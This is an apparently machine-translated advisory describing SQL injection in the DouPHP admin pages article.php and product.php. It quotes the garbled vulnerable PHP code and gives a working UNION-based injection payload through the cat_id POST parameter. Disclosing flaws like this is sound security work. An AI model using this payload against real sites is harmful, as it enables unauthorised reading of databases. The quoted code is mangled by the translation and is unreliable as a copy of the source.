DouPHP SQL Injection

DouPHP SQL Injection

DouPHP features are simple, so it is easier to defend against it. Using global filtering can avoid problems, but there are still some less rigorous aspects.
It's not easy to dig holes --

Detailed description:

In the file \ www \ admin \ article. php:

/**

* + Author * Article list * + -------------------------------------------------------- */if ($ rec = 'default') {$ smarty-> assign ('ur _ here ', $ _ LANG ['Article']); $ smarty-> assign ('Action _ link', array ('text' => $ _ LANG ['Article _ add'], 'href '=> 'Article. php? Rec = add'); // verify and obtain a valid category ID $ cat_id = $ check-> is_number ($ _ REQUEST ['cat _ id'])? $ _ REQUEST ['cat _ id']: (isset ($ _ POST ['cat _ id'])? $ _ POST ['cat _ id']: ''); // the logic here seems a bit strange and determines whether it is a number, the next step directly includes $ _ POST data $ keyword = isset ($ _ POST ['keyword'])? Trim ($ _ POST ['keyword']): ''; if ($ cat_id) {$ child_id = $ dou-> dou_child_id ($ dou-> fetch_array_all ('Article _ category '), $ cat_id); $ where = "cat_id IN (". $ cat_id. $ child_id. ")"; // If the input is numeric, global filtering of the firewall file is ignored.} If ($ cat_id & $ keyword) $ where. = 'and'; if ($ keyword) $ where. = "title LIKE '% $ keyword %'"; $ where = $ where? 'Where'. $ WHERE: ''; // verify and obtain the valid page ID $ page = $ check-> is_number ($ _ REQUEST ['page'])? $ _ REQUEST ['page']: 1; $ limit = $ dou-> pager ('Article', 15, $ page, $ cat_id); $ SQL = "SELECT id, title, cat_id, image, add_time FROM ". $ dou-> table ('Article '). $ where. "order by id DESC ". $ limit; // here the statement query $ query = $ dou-> query ($ SQL); // here !!!!! While ($ row = $ dou-> fetch_array ($ query) {$ cat_name = $ dou-> get_one ("SELECT cat_name FROM ". $ dou-> table ('Article _ category '). "WHERE cat_id = '$ row [cat_id]'"); $ add_time = date ("Y-m-d", $ row ['add _ time']); $ article_list [] = array ("id" => $ row ['id'], "cat_id" => $ row ['cat _ id'], "cat_name" => $ cat_name, "title" => $ row ['title'], "image" => $ row ['image'], "add_time" => $ add_time );}

There are also problems in the www \ admin \ product. php file, because the code is similar, it will not be pasted.
 

Because both of these locations are completely unfiltered and display BITs exist. Injection is easy.

Post submission:

Cat_id = 2) union all select 1, user (), 3, 4, 5 -- 1
 

 

 

Solution:

Enhanced Filtering